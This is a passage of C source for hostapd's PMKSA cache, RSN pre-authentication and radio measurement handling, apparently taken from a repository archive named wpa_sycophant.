wpa_printf(MSG_DEBUG, "RSN: Flush PMKSA cache entry for " MACSTR, MAC2STR(pmksa->pmksa->spa)); pmksa_cache_free_entry(pmksa, pmksa->pmksa); } } static void pmksa_cache_expire(void *eloop_ctx, void *timeout_ctx) { struct rsn_pmksa_cache *pmksa = eloop_ctx; struct os_reltime now; os_get_reltime(&now); while (pmksa->pmksa && pmksa->pmksa->expiration <= now.sec) { wpa_printf(MSG_DEBUG, "RSN: expired PMKSA cache entry for " MACSTR, MAC2STR(pmksa->pmksa->spa)); pmksa_cache_free_entry(pmksa, pmksa->pmksa); } pmksa_cache_set_expiration(pmksa); } static void pmksa_cache_set_expiration(struct rsn_pmksa_cache *pmksa) { int sec; struct os_reltime now; eloop_cancel_timeout(pmksa_cache_expire, pmksa, NULL); if (pmksa->pmksa == NULL) return; os_get_reltime(&now); sec = pmksa->pmksa->expiration - now.sec; if (sec < 0) sec = 0; eloop_register_timeout(sec + 1, 0, pmksa_cache_expire, pmksa, NULL); } static void pmksa_cache_from_eapol_data(struct rsn_pmksa_cache_entry *entry, struct eapol_state_machine *eapol) { struct vlan_description *vlan_desc; if (eapol == NULL) return; if (eapol->identity) { entry->identity = os_malloc(eapol->identity_len); if (entry->identity) { entry->identity_len = eapol->identity_len; os_memcpy(entry->identity, eapol->identity, eapol->identity_len); } } if (eapol->radius_cui) entry->cui = wpabuf_dup(eapol->radius_cui); #ifndef CONFIG_NO_RADIUS radius_copy_class(&entry->radius_class, &eapol->radius_class); #endif /* CONFIG_NO_RADIUS */ entry->eap_type_authsrv = eapol->eap_type_authsrv; vlan_desc = ((struct sta_info *) eapol->sta)->vlan_desc; if (vlan_desc && vlan_desc->notempty) { entry->vlan_desc = os_zalloc(sizeof(struct vlan_description)); if (entry->vlan_desc) *entry->vlan_desc = *vlan_desc; } else { entry->vlan_desc = NULL; } entry->acct_multi_session_id = eapol->acct_multi_session_id; } void pmksa_cache_to_eapol_data(struct hostapd_data *hapd, struct rsn_pmksa_cache_entry *entry, struct eapol_state_machine *eapol) { if (entry == NULL || eapol == NULL) return; if (entry->identity) { os_free(eapol->identity); eapol->identity = os_malloc(entry->identity_len); if (eapol->identity) { eapol->identity_len = entry->identity_len; os_memcpy(eapol->identity, entry->identity, entry->identity_len); } wpa_hexdump_ascii(MSG_DEBUG, "STA identity from PMKSA", eapol->identity, eapol->identity_len); } if (entry->cui) { wpabuf_free(eapol->radius_cui); eapol->radius_cui = wpabuf_dup(entry->cui); } #ifndef CONFIG_NO_RADIUS radius_free_class(&eapol->radius_class); radius_copy_class(&eapol->radius_class, &entry->radius_class); #endif /* CONFIG_NO_RADIUS */ if (eapol->radius_class.attr) { wpa_printf(MSG_DEBUG, "Copied %lu Class attribute(s) from " "PMKSA", (unsigned long) eapol->radius_class.count); } eapol->eap_type_authsrv = entry->eap_type_authsrv; #ifndef CONFIG_NO_VLAN ap_sta_set_vlan(hapd, eapol->sta, entry->vlan_desc); #endif /* CONFIG_NO_VLAN */ eapol->acct_multi_session_id = entry->acct_multi_session_id; } static void pmksa_cache_link_entry(struct rsn_pmksa_cache *pmksa, struct rsn_pmksa_cache_entry *entry) { struct rsn_pmksa_cache_entry *pos, *prev; int hash; /* Add the new entry; order by expiration time */ pos = pmksa->pmksa; prev = NULL; while (pos) { if (pos->expiration > entry->expiration) break; prev = pos; pos = pos->next; } if (prev == NULL) { entry->next = pmksa->pmksa; pmksa->pmksa = entry; } else { entry->next = prev->next; prev->next = entry; } hash = PMKID_HASH(entry->pmkid); entry->hnext = pmksa->pmkid[hash]; pmksa->pmkid[hash] = entry; pmksa->pmksa_count++; if (prev == NULL) pmksa_cache_set_expiration(pmksa); wpa_printf(MSG_DEBUG, "RSN: added PMKSA cache entry for " MACSTR, MAC2STR(entry->spa)); wpa_hexdump(MSG_DEBUG, "RSN: added PMKID", entry->pmkid, PMKID_LEN); } /** * pmksa_cache_auth_add - Add a PMKSA cache entry * @pmksa: Pointer to PMKSA cache data from pmksa_cache_auth_init() * @pmk: The new pairwise master key * @pmk_len: PMK length in bytes, usually PMK_LEN (32) * @pmkid: Calculated PMKID * @kck: Key confirmation key or %NULL if not yet derived * @kck_len: KCK length in bytes * @aa: Authenticator address * @spa: Supplicant address * @session_timeout: Session timeout * @eapol: Pointer to EAPOL state machine data * @akmp: WPA_KEY_MGMT_* used in key derivation * Returns: Pointer to the added PMKSA cache entry or %NULL on error * * This function create a PMKSA entry for a new PMK and adds it to the PMKSA * cache. If an old entry is already in the cache for the same Supplicant, * this entry will be replaced with the new entry. PMKID will be calculated * based on the PMK. */ struct rsn_pmksa_cache_entry * pmksa_cache_auth_add(struct rsn_pmksa_cache *pmksa, const u8 *pmk, size_t pmk_len, const u8 *pmkid, const u8 *kck, size_t kck_len, const u8 *aa, const u8 *spa, int session_timeout, struct eapol_state_machine *eapol, int akmp) { struct rsn_pmksa_cache_entry *entry; entry = pmksa_cache_auth_create_entry(pmk, pmk_len, pmkid, kck, kck_len, aa, spa, session_timeout, eapol, akmp); if (pmksa_cache_auth_add_entry(pmksa, entry) < 0) return NULL; return entry; } /** * pmksa_cache_auth_create_entry - Create a PMKSA cache entry * @pmk: The new pairwise master key * @pmk_len: PMK length in bytes, usually PMK_LEN (32) * @pmkid: Calculated PMKID * @kck: Key confirmation key or %NULL if not yet derived * @kck_len: KCK length in bytes * @aa: Authenticator address * @spa: Supplicant address * @session_timeout: Session timeout * @eapol: Pointer to EAPOL state machine data * @akmp: WPA_KEY_MGMT_* used in key derivation * Returns: Pointer to the added PMKSA cache entry or %NULL on error * * This function creates a PMKSA entry. */ struct rsn_pmksa_cache_entry * pmksa_cache_auth_create_entry(const u8 *pmk, size_t pmk_len, const u8 *pmkid, const u8 *kck, size_t kck_len, const u8 *aa, const u8 *spa, int session_timeout, struct eapol_state_machine *eapol, int akmp) { struct rsn_pmksa_cache_entry *entry; struct os_reltime now; if (pmk_len > PMK_LEN_MAX) return NULL; if (wpa_key_mgmt_suite_b(akmp) && !kck) return NULL; entry = os_zalloc(sizeof(*entry)); if (entry == NULL) return NULL; os_memcpy(entry->pmk, pmk, pmk_len); entry->pmk_len = pmk_len; if (pmkid) os_memcpy(entry->pmkid, pmkid, PMKID_LEN); else if (akmp == WPA_KEY_MGMT_IEEE8021X_SUITE_B_192) rsn_pmkid_suite_b_192(kck, kck_len, aa, spa, entry->pmkid); else if (wpa_key_mgmt_suite_b(akmp)) rsn_pmkid_suite_b(kck, kck_len, aa, spa, entry->pmkid); else rsn_pmkid(pmk, pmk_len, aa, spa, entry->pmkid, akmp); os_get_reltime(&now); entry->expiration = now.sec; if (session_timeout > 0) entry->expiration += session_timeout; else entry->expiration += dot11RSNAConfigPMKLifetime; entry->akmp = akmp; os_memcpy(entry->spa, spa, ETH_ALEN); pmksa_cache_from_eapol_data(entry, eapol); return entry; } /** * pmksa_cache_auth_add_entry - Add a PMKSA cache entry * @pmksa: Pointer to PMKSA cache data from pmksa_cache_auth_init() * @entry: Pointer to PMKSA cache entry * * This function adds PMKSA cache entry to the PMKSA cache. If an old entry is * already in the cache for the same Supplicant, this entry will be replaced * with the new entry. PMKID will be calculated based on the PMK. */ int pmksa_cache_auth_add_entry(struct rsn_pmksa_cache *pmksa, struct rsn_pmksa_cache_entry *entry) { struct rsn_pmksa_cache_entry *pos; if (entry == NULL) return -1; /* Replace an old entry for the same STA (if found) with the new entry */ pos = pmksa_cache_auth_get(pmksa, entry->spa, NULL); if (pos) pmksa_cache_free_entry(pmksa, pos); if (pmksa->pmksa_count >= pmksa_cache_max_entries && pmksa->pmksa) { /* Remove the oldest entry to make room for the new entry */ wpa_printf(MSG_DEBUG, "RSN: removed the oldest PMKSA cache " "entry (for " MACSTR ") to make room for new one", MAC2STR(pmksa->pmksa->spa)); pmksa_cache_free_entry(pmksa, pmksa->pmksa); } pmksa_cache_link_entry(pmksa, entry); return 0; } struct rsn_pmksa_cache_entry * pmksa_cache_add_okc(struct rsn_pmksa_cache *pmksa, const struct rsn_pmksa_cache_entry *old_entry, const u8 *aa, const u8 *pmkid) { struct rsn_pmksa_cache_entry *entry; entry = os_zalloc(sizeof(*entry)); if (entry == NULL) return NULL; os_memcpy(entry->pmkid, pmkid, PMKID_LEN); os_memcpy(entry->pmk, old_entry->pmk, old_entry->pmk_len); entry->pmk_len = old_entry->pmk_len; entry->expiration = old_entry->expiration; entry->akmp = old_entry->akmp; os_memcpy(entry->spa, old_entry->spa, ETH_ALEN); entry->opportunistic = 1; if (old_entry->identity) { entry->identity = os_malloc(old_entry->identity_len); if (entry->identity) { entry->identity_len = old_entry->identity_len; os_memcpy(entry->identity, old_entry->identity, old_entry->identity_len); } } if (old_entry->cui) entry->cui = wpabuf_dup(old_entry->cui); #ifndef CONFIG_NO_RADIUS radius_copy_class(&entry->radius_class, &old_entry->radius_class); #endif /* CONFIG_NO_RADIUS */ entry->eap_type_authsrv = old_entry->eap_type_authsrv; if (old_entry->vlan_desc) { entry->vlan_desc = os_zalloc(sizeof(struct vlan_description)); if (entry->vlan_desc) *entry->vlan_desc = *old_entry->vlan_desc; } else { entry->vlan_desc = NULL; } entry->opportunistic = 1; pmksa_cache_link_entry(pmksa, entry); return entry; } /** * pmksa_cache_auth_deinit - Free all entries in PMKSA cache * @pmksa: Pointer to PMKSA cache data from pmksa_cache_auth_init() */ void pmksa_cache_auth_deinit(struct rsn_pmksa_cache *pmksa) { struct rsn_pmksa_cache_entry *entry, *prev; int i; if (pmksa == NULL) return; entry = pmksa->pmksa; while (entry) { prev = entry; entry = entry->next; _pmksa_cache_free_entry(prev); } eloop_cancel_timeout(pmksa_cache_expire, pmksa, NULL); pmksa->pmksa_count = 0; pmksa->pmksa = NULL; for (i = 0; i < PMKID_HASH_SIZE; i++) pmksa->pmkid[i] = NULL; os_free(pmksa); } /** * pmksa_cache_auth_get - Fetch a PMKSA cache entry * @pmksa: Pointer to PMKSA cache data from pmksa_cache_auth_init() * @spa: Supplicant address or %NULL to match any * @pmkid: PMKID or %NULL to match any * Returns: Pointer to PMKSA cache entry or %NULL if no match was found */ struct rsn_pmksa_cache_entry * pmksa_cache_auth_get(struct rsn_pmksa_cache *pmksa, const u8 *spa, const u8 *pmkid) { struct rsn_pmksa_cache_entry *entry; if (pmkid) { for (entry = pmksa->pmkid[PMKID_HASH(pmkid)]; entry; entry = entry->hnext) { if ((spa == NULL || os_memcmp(entry->spa, spa, ETH_ALEN) == 0) && os_memcmp(entry->pmkid, pmkid, PMKID_LEN) == 0) return entry; } } else { for (entry = pmksa->pmksa; entry; entry = entry->next) { if (spa == NULL || os_memcmp(entry->spa, spa, ETH_ALEN) == 0) return entry; } } return NULL; } /** * pmksa_cache_get_okc - Fetch a PMKSA cache entry using OKC * @pmksa: Pointer to PMKSA cache data from pmksa_cache_auth_init() * @aa: Authenticator address * @spa: Supplicant address * @pmkid: PMKID * Returns: Pointer to PMKSA cache entry or %NULL if no match was found * * Use opportunistic key caching (OKC) to find a PMK for a supplicant. */ struct rsn_pmksa_cache_entry * pmksa_cache_get_okc( struct rsn_pmksa_cache *pmksa, const u8 *aa, const u8 *spa, const u8 *pmkid) { struct rsn_pmksa_cache_entry *entry; u8 new_pmkid[PMKID_LEN]; for (entry = pmksa->pmksa; entry; entry = entry->next) { if (os_memcmp(entry->spa, spa, ETH_ALEN) != 0) continue; rsn_pmkid(entry->pmk, entry->pmk_len, aa, spa, new_pmkid, entry->akmp); if (os_memcmp(new_pmkid, pmkid, PMKID_LEN) == 0) return entry; } return NULL; } /** * pmksa_cache_auth_init - Initialize PMKSA cache * @free_cb: Callback function to be called when a PMKSA cache entry is freed * @ctx: Context pointer for free_cb function * Returns: Pointer to PMKSA cache data or %NULL on failure */ struct rsn_pmksa_cache * pmksa_cache_auth_init(void (*free_cb)(struct rsn_pmksa_cache_entry *entry, void *ctx), void *ctx) { struct rsn_pmksa_cache *pmksa; pmksa = os_zalloc(sizeof(*pmksa)); if (pmksa) { pmksa->free_cb = free_cb; pmksa->ctx = ctx; } return pmksa; } static int das_attr_match(struct rsn_pmksa_cache_entry *entry, struct radius_das_attrs *attr) { int match = 0; if (attr->sta_addr) { if (os_memcmp(attr->sta_addr, entry->spa, ETH_ALEN) != 0) return 0; match++; } if (attr->acct_multi_session_id) { char buf[20]; if (attr->acct_multi_session_id_len != 16) return 0; os_snprintf(buf, sizeof(buf), "%016llX", (unsigned long long) entry->acct_multi_session_id); if (os_memcmp(attr->acct_multi_session_id, buf, 16) != 0) return 0; match++; } if (attr->cui) { if (!entry->cui || attr->cui_len != wpabuf_len(entry->cui) || os_memcmp(attr->cui, wpabuf_head(entry->cui), attr->cui_len) != 0) return 0; match++; } if (attr->user_name) { if (!entry->identity || attr->user_name_len != entry->identity_len || os_memcmp(attr->user_name, entry->identity, attr->user_name_len) != 0) return 0; match++; } return match; } int pmksa_cache_auth_radius_das_disconnect(struct rsn_pmksa_cache *pmksa, struct radius_das_attrs *attr) { int found = 0; struct rsn_pmksa_cache_entry *entry, *prev; if (attr->acct_session_id) return -1; entry = pmksa->pmksa; while (entry) { if (das_attr_match(entry, attr)) { found++; prev = entry; entry = entry->next; pmksa_cache_free_entry(pmksa, prev); continue; } entry = entry->next; } return found ? 0 : -1; } /** * pmksa_cache_auth_list - Dump text list of entries in PMKSA cache * @pmksa: Pointer to PMKSA cache data from pmksa_cache_auth_init() * @buf: Buffer for the list * @len: Length of the buffer * Returns: Number of bytes written to buffer * * This function is used to generate a text format representation of the * current PMKSA cache contents for the ctrl_iface PMKSA command. */ int pmksa_cache_auth_list(struct rsn_pmksa_cache *pmksa, char *buf, size_t len) { int i, ret; char *pos = buf; struct rsn_pmksa_cache_entry *entry; struct os_reltime now; os_get_reltime(&now); ret = os_snprintf(pos, buf + len - pos, "Index / SPA / PMKID / expiration (in seconds) / opportunistic\n"); if (os_snprintf_error(buf + len - pos, ret)) return pos - buf; pos += ret; i = 0; entry = pmksa->pmksa; while (entry) { ret = os_snprintf(pos, buf + len - pos, "%d " MACSTR " ", i, MAC2STR(entry->spa)); if (os_snprintf_error(buf + len - pos, ret)) return pos - buf; pos += ret; pos += wpa_snprintf_hex(pos, buf + len - pos, entry->pmkid, PMKID_LEN); ret = os_snprintf(pos, buf + len - pos, " %d %d\n", (int) (entry->expiration - now.sec), entry->opportunistic); if (os_snprintf_error(buf + len - pos, ret)) return pos - buf; pos += ret; entry = entry->next; } return pos - buf; } #ifdef CONFIG_PMKSA_CACHE_EXTERNAL #ifdef CONFIG_MESH /** * pmksa_cache_auth_list_mesh - Dump text list of entries in PMKSA cache * @pmksa: Pointer to PMKSA cache data from pmksa_cache_auth_init() * @addr: MAC address of the peer (NULL means any) * @buf: Buffer for the list * @len: Length of the buffer * Returns: Number of bytes written to buffer * * This function is used to generate a text format representation of the * current PMKSA cache contents for the ctrl_iface PMKSA_GET command to store * in external storage. */ int pmksa_cache_auth_list_mesh(struct rsn_pmksa_cache *pmksa, const u8 *addr, char *buf, size_t len) { int ret; char *pos, *end; struct rsn_pmksa_cache_entry *entry; struct os_reltime now; pos = buf; end = buf + len; os_get_reltime(&now); /* * Entry format: * */ for (entry = pmksa->pmksa; entry; entry = entry->next) { if (addr && os_memcmp(entry->spa, addr, ETH_ALEN) != 0) continue; ret = os_snprintf(pos, end - pos, MACSTR " ", MAC2STR(entry->spa)); if (os_snprintf_error(end - pos, ret)) return 0; pos += ret; pos += wpa_snprintf_hex(pos, end - pos, entry->pmkid, PMKID_LEN); ret = os_snprintf(pos, end - pos, " "); if (os_snprintf_error(end - pos, ret)) return 0; pos += ret; pos += wpa_snprintf_hex(pos, end - pos, entry->pmk, entry->pmk_len); ret = os_snprintf(pos, end - pos, " %d\n", (int) (entry->expiration - now.sec)); if (os_snprintf_error(end - pos, ret)) return 0; pos += ret; } return pos - buf; } #endif /* CONFIG_MESH */ #endif /* CONFIG_PMKSA_CACHE_EXTERNAL */ wpa_sycophant-master/src/ap/pmksa_cache_auth.h000066400000000000000000000053041377436615100220640ustar00rootroot00000000000000/* * hostapd - PMKSA cache for IEEE 802.11i RSN * Copyright (c) 2004-2008, 2012, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef PMKSA_CACHE_H #define PMKSA_CACHE_H #include "radius/radius.h" /** * struct rsn_pmksa_cache_entry - PMKSA cache entry */ struct rsn_pmksa_cache_entry { struct rsn_pmksa_cache_entry *next, *hnext; u8 pmkid[PMKID_LEN]; u8 pmk[PMK_LEN_MAX]; size_t pmk_len; os_time_t expiration; int akmp; /* WPA_KEY_MGMT_* */ u8 spa[ETH_ALEN]; u8 *identity; size_t identity_len; struct wpabuf *cui; struct radius_class_data radius_class; u8 eap_type_authsrv; struct vlan_description *vlan_desc; int opportunistic; u64 acct_multi_session_id; }; struct rsn_pmksa_cache; struct radius_das_attrs; struct rsn_pmksa_cache * pmksa_cache_auth_init(void (*free_cb)(struct rsn_pmksa_cache_entry *entry, void *ctx), void *ctx); void pmksa_cache_auth_deinit(struct rsn_pmksa_cache *pmksa); struct rsn_pmksa_cache_entry * pmksa_cache_auth_get(struct rsn_pmksa_cache *pmksa, const u8 *spa, const u8 *pmkid); struct rsn_pmksa_cache_entry * pmksa_cache_get_okc( struct rsn_pmksa_cache *pmksa, const u8 *spa, const u8 *aa, const u8 *pmkid); struct rsn_pmksa_cache_entry * pmksa_cache_auth_add(struct rsn_pmksa_cache *pmksa, const u8 *pmk, size_t pmk_len, const u8 *pmkid, const u8 *kck, size_t kck_len, const u8 *aa, const u8 *spa, int session_timeout, struct eapol_state_machine *eapol, int akmp); struct rsn_pmksa_cache_entry * pmksa_cache_auth_create_entry(const u8 *pmk, size_t pmk_len, const u8 *pmkid, const u8 *kck, size_t kck_len, const u8 *aa, const u8 *spa, int session_timeout, struct eapol_state_machine *eapol, int akmp); int pmksa_cache_auth_add_entry(struct rsn_pmksa_cache *pmksa, struct rsn_pmksa_cache_entry *entry); struct rsn_pmksa_cache_entry * pmksa_cache_add_okc(struct rsn_pmksa_cache *pmksa, const struct rsn_pmksa_cache_entry *old_entry, const u8 *aa, const u8 *pmkid); void pmksa_cache_to_eapol_data(struct hostapd_data *hapd, struct rsn_pmksa_cache_entry *entry, struct eapol_state_machine *eapol); void pmksa_cache_free_entry(struct rsn_pmksa_cache *pmksa, struct rsn_pmksa_cache_entry *entry); int pmksa_cache_auth_radius_das_disconnect(struct rsn_pmksa_cache *pmksa, struct radius_das_attrs *attr); int pmksa_cache_auth_list(struct rsn_pmksa_cache *pmksa, char *buf, size_t len); void pmksa_cache_auth_flush(struct rsn_pmksa_cache *pmksa); int pmksa_cache_auth_list_mesh(struct rsn_pmksa_cache *pmksa, const u8 *addr, char *buf, size_t len); #endif /* PMKSA_CACHE_H */ wpa_sycophant-master/src/ap/preauth_auth.c000066400000000000000000000147421377436615100212770ustar00rootroot00000000000000/* * hostapd - Authenticator for IEEE 802.11i RSN pre-authentication * Copyright (c) 2004-2007, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #ifdef CONFIG_RSN_PREAUTH #include "utils/common.h" #include "utils/eloop.h" #include "l2_packet/l2_packet.h" #include "common/wpa_common.h" #include "eapol_auth/eapol_auth_sm.h" #include "eapol_auth/eapol_auth_sm_i.h" #include "hostapd.h" #include "ap_config.h" #include "ieee802_1x.h" #include "sta_info.h" #include "wpa_auth.h" #include "preauth_auth.h" #ifndef ETH_P_PREAUTH #define ETH_P_PREAUTH 0x88C7 /* IEEE 802.11i pre-authentication */ #endif /* ETH_P_PREAUTH */ static const int dot11RSNAConfigPMKLifetime = 43200; struct rsn_preauth_interface { struct rsn_preauth_interface *next; struct hostapd_data *hapd; struct l2_packet_data *l2; char *ifname; int ifindex; }; static void rsn_preauth_receive(void *ctx, const u8 *src_addr, const u8 *buf, size_t len) { struct rsn_preauth_interface *piface = ctx; struct hostapd_data *hapd = piface->hapd; struct ieee802_1x_hdr *hdr; struct sta_info *sta; struct l2_ethhdr *ethhdr; wpa_printf(MSG_DEBUG, "RSN: receive pre-auth packet " "from interface '%s'", piface->ifname); if (len < sizeof(*ethhdr) + sizeof(*hdr)) { wpa_printf(MSG_DEBUG, "RSN: too short pre-auth packet " "(len=%lu)", (unsigned long) len); return; } ethhdr = (struct l2_ethhdr *) buf; hdr = (struct ieee802_1x_hdr *) (ethhdr + 1); if (os_memcmp(ethhdr->h_dest, hapd->own_addr, ETH_ALEN) != 0) { wpa_printf(MSG_DEBUG, "RSN: pre-auth for foreign address " MACSTR, MAC2STR(ethhdr->h_dest)); return; } sta = ap_get_sta(hapd, ethhdr->h_source); if (sta && (sta->flags & WLAN_STA_ASSOC)) { wpa_printf(MSG_DEBUG, "RSN: pre-auth for already association " "STA " MACSTR, MAC2STR(sta->addr)); return; } if (!sta && hdr->type == IEEE802_1X_TYPE_EAPOL_START) { sta = ap_sta_add(hapd, ethhdr->h_source); if (sta == NULL) return; sta->flags = WLAN_STA_PREAUTH; ieee802_1x_new_station(hapd, sta); if (sta->eapol_sm == NULL) { ap_free_sta(hapd, sta); sta = NULL; } else { sta->eapol_sm->radius_identifier = -1; sta->eapol_sm->portValid = TRUE; sta->eapol_sm->flags |= EAPOL_SM_PREAUTH; } } if (sta == NULL) return; sta->preauth_iface = piface; ieee802_1x_receive(hapd, ethhdr->h_source, (u8 *) (ethhdr + 1), len - sizeof(*ethhdr)); } static int rsn_preauth_iface_add(struct hostapd_data *hapd, const char *ifname) { struct rsn_preauth_interface *piface; wpa_printf(MSG_DEBUG, "RSN pre-auth interface '%s'", ifname); piface = os_zalloc(sizeof(*piface)); if (piface == NULL) return -1; piface->hapd = hapd; piface->ifname = os_strdup(ifname); if (piface->ifname == NULL) { goto fail1; } piface->l2 = l2_packet_init(piface->ifname, NULL, ETH_P_PREAUTH, rsn_preauth_receive, piface, 1); if (piface->l2 == NULL) { wpa_printf(MSG_ERROR, "Failed to open register layer 2 access " "to ETH_P_PREAUTH"); goto fail2; } piface->next = hapd->preauth_iface; hapd->preauth_iface = piface; return 0; fail2: os_free(piface->ifname); fail1: os_free(piface); return -1; } void rsn_preauth_iface_deinit(struct hostapd_data *hapd) { struct rsn_preauth_interface *piface, *prev; piface = hapd->preauth_iface; hapd->preauth_iface = NULL; while (piface) { prev = piface; piface = piface->next; l2_packet_deinit(prev->l2); os_free(prev->ifname); os_free(prev); } } int rsn_preauth_iface_init(struct hostapd_data *hapd) { char *tmp, *start, *end; if (hapd->conf->rsn_preauth_interfaces == NULL) return 0; tmp = os_strdup(hapd->conf->rsn_preauth_interfaces); if (tmp == NULL) return -1; start = tmp; for (;;) { while (*start == ' ') start++; if (*start == '\0') break; end = os_strchr(start, ' '); if (end) *end = '\0'; if (rsn_preauth_iface_add(hapd, start)) { rsn_preauth_iface_deinit(hapd); os_free(tmp); return -1; } if (end) start = end + 1; else break; } os_free(tmp); return 0; } static void rsn_preauth_finished_cb(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; struct sta_info *sta = timeout_ctx; wpa_printf(MSG_DEBUG, "RSN: Removing pre-authentication STA entry for " MACSTR, MAC2STR(sta->addr)); ap_free_sta(hapd, sta); } void rsn_preauth_finished(struct hostapd_data *hapd, struct sta_info *sta, int success) { const u8 *key; size_t len; hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_WPA, HOSTAPD_LEVEL_INFO, "pre-authentication %s", success ? "succeeded" : "failed"); key = ieee802_1x_get_key(sta->eapol_sm, &len); if (len > PMK_LEN) len = PMK_LEN; if (success && key) { if (wpa_auth_pmksa_add_preauth(hapd->wpa_auth, key, len, sta->addr, dot11RSNAConfigPMKLifetime, sta->eapol_sm) == 0) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_WPA, HOSTAPD_LEVEL_DEBUG, "added PMKSA cache entry (pre-auth)"); } else { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_WPA, HOSTAPD_LEVEL_DEBUG, "failed to add PMKSA cache entry " "(pre-auth)"); } } /* * Finish STA entry removal from timeout in order to avoid freeing * STA data before the caller has finished processing. */ eloop_register_timeout(0, 0, rsn_preauth_finished_cb, hapd, sta); } void rsn_preauth_send(struct hostapd_data *hapd, struct sta_info *sta, u8 *buf, size_t len) { struct rsn_preauth_interface *piface; struct l2_ethhdr *ethhdr; piface = hapd->preauth_iface; while (piface) { if (piface == sta->preauth_iface) break; piface = piface->next; } if (piface == NULL) { wpa_printf(MSG_DEBUG, "RSN: Could not find pre-authentication " "interface for " MACSTR, MAC2STR(sta->addr)); return; } ethhdr = os_malloc(sizeof(*ethhdr) + len); if (ethhdr == NULL) return; os_memcpy(ethhdr->h_dest, sta->addr, ETH_ALEN); os_memcpy(ethhdr->h_source, hapd->own_addr, ETH_ALEN); ethhdr->h_proto = host_to_be16(ETH_P_PREAUTH); os_memcpy(ethhdr + 1, buf, len); if (l2_packet_send(piface->l2, sta->addr, ETH_P_PREAUTH, (u8 *) ethhdr, sizeof(*ethhdr) + len) < 0) { wpa_printf(MSG_ERROR, "Failed to send preauth packet using " "l2_packet_send\n"); } os_free(ethhdr); } void rsn_preauth_free_station(struct hostapd_data *hapd, struct sta_info *sta) { eloop_cancel_timeout(rsn_preauth_finished_cb, hapd, sta); } #endif /* CONFIG_RSN_PREAUTH */ wpa_sycophant-master/src/ap/preauth_auth.h000066400000000000000000000024061377436615100212760ustar00rootroot00000000000000/* * hostapd - Authenticator for IEEE 802.11i RSN pre-authentication * Copyright (c) 2004-2005, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef PREAUTH_H #define PREAUTH_H #ifdef CONFIG_RSN_PREAUTH int rsn_preauth_iface_init(struct hostapd_data *hapd); void rsn_preauth_iface_deinit(struct hostapd_data *hapd); void rsn_preauth_finished(struct hostapd_data *hapd, struct sta_info *sta, int success); void rsn_preauth_send(struct hostapd_data *hapd, struct sta_info *sta, u8 *buf, size_t len); void rsn_preauth_free_station(struct hostapd_data *hapd, struct sta_info *sta); #else /* CONFIG_RSN_PREAUTH */ static inline int rsn_preauth_iface_init(struct hostapd_data *hapd) { return 0; } static inline void rsn_preauth_iface_deinit(struct hostapd_data *hapd) { } static inline void rsn_preauth_finished(struct hostapd_data *hapd, struct sta_info *sta, int success) { } static inline void rsn_preauth_send(struct hostapd_data *hapd, struct sta_info *sta, u8 *buf, size_t len) { } static inline void rsn_preauth_free_station(struct hostapd_data *hapd, struct sta_info *sta) { } #endif /* CONFIG_RSN_PREAUTH */ #endif /* PREAUTH_H */ wpa_sycophant-master/src/ap/rrm.c000066400000000000000000000424201377436615100174000ustar00rootroot00000000000000/* * hostapd / Radio Measurement (RRM) * Copyright(c) 2013 - 2016 Intel Mobile Communications GmbH. * Copyright(c) 2011 - 2016 Intel Corporation. All rights reserved. * Copyright (c) 2016-2017, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "common/wpa_ctrl.h" #include "hostapd.h" #include "ap_drv_ops.h" #include "sta_info.h" #include "eloop.h" #include "neighbor_db.h" #include "rrm.h" #define HOSTAPD_RRM_REQUEST_TIMEOUT 5 static void hostapd_lci_rep_timeout_handler(void *eloop_data, void *user_ctx) { struct hostapd_data *hapd = eloop_data; wpa_printf(MSG_DEBUG, "RRM: LCI request (token %u) timed out", hapd->lci_req_token); hapd->lci_req_active = 0; } static void hostapd_handle_lci_report(struct hostapd_data *hapd, u8 token, const u8 *pos, size_t len) { if (!hapd->lci_req_active || hapd->lci_req_token != token) { wpa_printf(MSG_DEBUG, "Unexpected LCI report, token %u", token); return; } hapd->lci_req_active = 0; eloop_cancel_timeout(hostapd_lci_rep_timeout_handler, hapd, NULL); wpa_printf(MSG_DEBUG, "LCI report token %u len %zu", token, len); } static void hostapd_range_rep_timeout_handler(void *eloop_data, void *user_ctx) { struct hostapd_data *hapd = eloop_data; wpa_printf(MSG_DEBUG, "RRM: Range request (token %u) timed out", hapd->range_req_token); hapd->range_req_active = 0; } static void hostapd_handle_range_report(struct hostapd_data *hapd, u8 token, const u8 *pos, size_t len) { if (!hapd->range_req_active || hapd->range_req_token != token) { wpa_printf(MSG_DEBUG, "Unexpected range report, token %u", token); return; } hapd->range_req_active = 0; eloop_cancel_timeout(hostapd_range_rep_timeout_handler, hapd, NULL); wpa_printf(MSG_DEBUG, "Range report token %u len %zu", token, len); } static void hostapd_handle_beacon_report(struct hostapd_data *hapd, const u8 *addr, u8 token, u8 rep_mode, const u8 *pos, size_t len) { char report[2 * 255 + 1]; wpa_printf(MSG_DEBUG, "Beacon report token %u len %zu from " MACSTR, token, len, MAC2STR(addr)); /* Skip to the beginning of the Beacon report */ if (len < 3) return; pos += 3; len -= 3; report[0] = '\0'; if (wpa_snprintf_hex(report, sizeof(report), pos, len) < 0) return; wpa_msg(hapd->msg_ctx, MSG_INFO, BEACON_RESP_RX MACSTR " %u %02x %s", MAC2STR(addr), token, rep_mode, report); } static void hostapd_handle_radio_msmt_report(struct hostapd_data *hapd, const u8 *buf, size_t len) { const struct ieee80211_mgmt *mgmt = (const struct ieee80211_mgmt *) buf; const u8 *pos, *ie, *end; u8 token, rep_mode; end = buf + len; token = mgmt->u.action.u.rrm.dialog_token; pos = mgmt->u.action.u.rrm.variable; while ((ie = get_ie(pos, end - pos, WLAN_EID_MEASURE_REPORT))) { if (ie[1] < 3) { wpa_printf(MSG_DEBUG, "Bad Measurement Report element"); break; } rep_mode = ie[3]; wpa_printf(MSG_DEBUG, "Measurement report mode 0x%x type %u", rep_mode, ie[4]); switch (ie[4]) { case MEASURE_TYPE_LCI: hostapd_handle_lci_report(hapd, token, ie + 2, ie[1]); break; case MEASURE_TYPE_FTM_RANGE: 